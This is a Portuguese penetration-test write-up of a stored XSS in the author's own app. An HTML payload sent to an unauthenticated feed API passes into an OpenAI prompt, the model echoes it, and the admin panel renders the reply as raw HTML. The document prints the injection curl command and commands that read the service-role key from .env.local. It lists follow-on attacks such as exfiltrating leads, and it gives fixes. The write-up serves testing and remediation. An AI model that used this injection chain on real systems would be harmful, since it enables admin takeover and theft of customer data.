Stored XSS via Prompt Injection na IA (admin takeover)
O vetor
Vetor real: atacante envia um evento de feed com car_title contendo HTML malicioso (<img src=x onerror=alert(...)>). O evento é aceito pela API pública /api/feed/events (sem auth). Quando o admin abre o painel /admin/analytics, a API lê feed_events, extrai car_title de metadata, envia para a OpenAI no prompt. A OpenAI ecoa o título na recomendação. O painel renderiza com dangerouslySetInnerHTML — executando JavaScript no contexto do admin (cookie cms_token roubável).
Cadeia completa: client malicioso → /api/feed/events → feed_events → /api/admin/insights → prompt OpenAI → aiRecommendations → dangerouslySetInnerHTML → XSS no admin.
O que testamos: injetar payload XSS via evento público e confirmar que é aceito e armazenado.
Os passos
Passo 1 — Injetar payload XSS via API pública:
BASE="https://seu-app.exemplo.workers.dev"
curl -s -X POST "$BASE/api/feed/events" \
-H "Content-Type: application/json" \
-d '{
"events": [{
"session_id": "pentest_xss_ex33",
"event_type": "card_view",
"content_id": "52931bb2-a129-43a8-8259-ecc503ed50f9",
"niche": "auto",
"metadata": {
"car_title": "<img src=x onerror=alert(document.cookie)>",
"dwell_time_ms": 5000
}
}]
}'
O que esperar
Resultado esperado (validado ao vivo 04/09/2026):
{"ok": true, "count": 1}
✅ Confirmado: HTTP 200, evento aceito sem auth, sem validação, sem sanitização.
Passo 2 — Verificar que o payload foi persistido:
cd /d/Antigravity-Monetizacao_TikTok/app
SB=$(grep '^NEXT_PUBLIC_SUPABASE_URL' .env.local | cut -d= -f2)
SRK=$(grep '^SUPABASE_SERVICE_ROLE_KEY' .env.local | cut -d= -f2)
curl -s "$SB/rest/v1/feed_events?select=session_id,metadata&session_id=eq.pentest_xss_ex33" \
-H "apikey: $SRK" -H "Authorization: Bearer $SRK"
Resultado esperado:
[{
"session_id": "pentest_xss_ex33",
"metadata": {
"car_title": "<img src=x onerror=alert(document.cookie)>",
"dwell_time_ms": 5000
}
}]
✅ Payload HTML completo armazenado no banco.
Passo 3 — Verificar o ponto de renderização vulnerável no código:
cd /d/Antigravity-Monetizacao_TikTok/app
grep -n "dangerouslySetInnerHTML" app/admin/analytics/page.tsx
Resultado esperado:
800: <p dangerouslySetInnerHTML={{ __html: rec.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>') }} />
🔍 A linha 800 pega rec (recomendação da IA, que pode conter o car_title malicioso) e renderiza como HTML cru. O replace só converte **bold** → <strong>; qualquer outro HTML passa direto.
Passo 4 — Rastrear a cadeia de dados:
# O car_title controlável pelo atacante flui assim:
# 1. POST /api/feed/events → feed_events.metadata.car_title (sem sanitização)
# 2. GET /api/admin/insights → lê feed_events → vehicleStats[title] = metadata.car_title
# 3. generateAIInsights() → envia JSON.stringify(topVehicles) para OpenAI no prompt
# 4. OpenAI ecoa o título na resposta → aiRecommendations[]
# 5. dangerouslySetInnerHTML renderiza como HTML → XSS executa
grep -n "car_title\|vehicleStats\|topVehicles\|generateAIInsights\|dangerouslySetInnerHTML" \
app/api/admin/insights/route.ts app/admin/analytics/page.tsx | head -20
Análise — o que isto significa:
- Qualquer visitante anônimo pode injetar JavaScript que executa no painel admin.
- O
cms_token(cookie httpOnly) não é roubável viadocument.cookie, MAS o XSS pode:- Fazer
fetch('/api/leads')com o cookie (same-origin) e exfiltrar a base de leads. - Criar conteúdo malicioso via
POST /api/cms/contentcom o cookie. - Deletar conteúdo via
DELETE /api/cms/content/[id]. - Redirecionar o admin para uma página de phishing.
- Fazer
- A IA é o vetor indireto: o atacante não controla a resposta da OpenAI diretamente, mas influencia o input (prompt injection). Se a OpenAI ecoa o
car_title— o que LLMs fazem frequentemente ao "analisar dados" — o HTML é renderizado.
Como corrigir
Correção necessária (P0 — crítico):
- Remover
dangerouslySetInnerHTML— substituir por renderização segura:// ANTES (vulnerável): <p dangerouslySetInnerHTML={{ __html: rec.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>') }} /> // DEPOIS (seguro): {rec.split(/(\*\*[^*]+\*\*)/g).map((part, i) => part.startsWith('**') && part.endsWith('**') ? <strong key={i}>{part.slice(2, -2)}</strong> : <span key={i}>{part}</span> )} - Sanitizar
car_titlena entrada — em/api/feed/events, rejeitar ou escapar HTML emmetadata.car_title:if (metadata.car_title && /[<>]/.test(metadata.car_title)) { metadata.car_title = metadata.car_title.replace(/[<>]/g, ''); } - DOMPurify como defesa em profundidade — se precisar manter
dangerouslySetInnerHTML, passar porDOMPurify.sanitize()antes. - CSP com nonce — adicionar
script-src 'self' 'nonce-<random>'nonext.config.tspara bloquear scripts inline injetados. - Validar schema de eventos — rejeitar
metadatacom valores contendo<script,<img,onerror,onload.
Limpeza:
cd /d/Antigravity-Monetizacao_TikTok/app
SB=$(grep '^NEXT_PUBLIC_SUPABASE_URL' .env.local | cut -d= -f2)
SRK=$(grep '^SUPABASE_SERVICE_ROLE_KEY' .env.local | cut -d= -f2)
curl -s -X DELETE "$SB/rest/v1/feed_events?session_id=eq.pentest_xss_ex33" \
-H "apikey: $SRK" -H "Authorization: Bearer $SRK"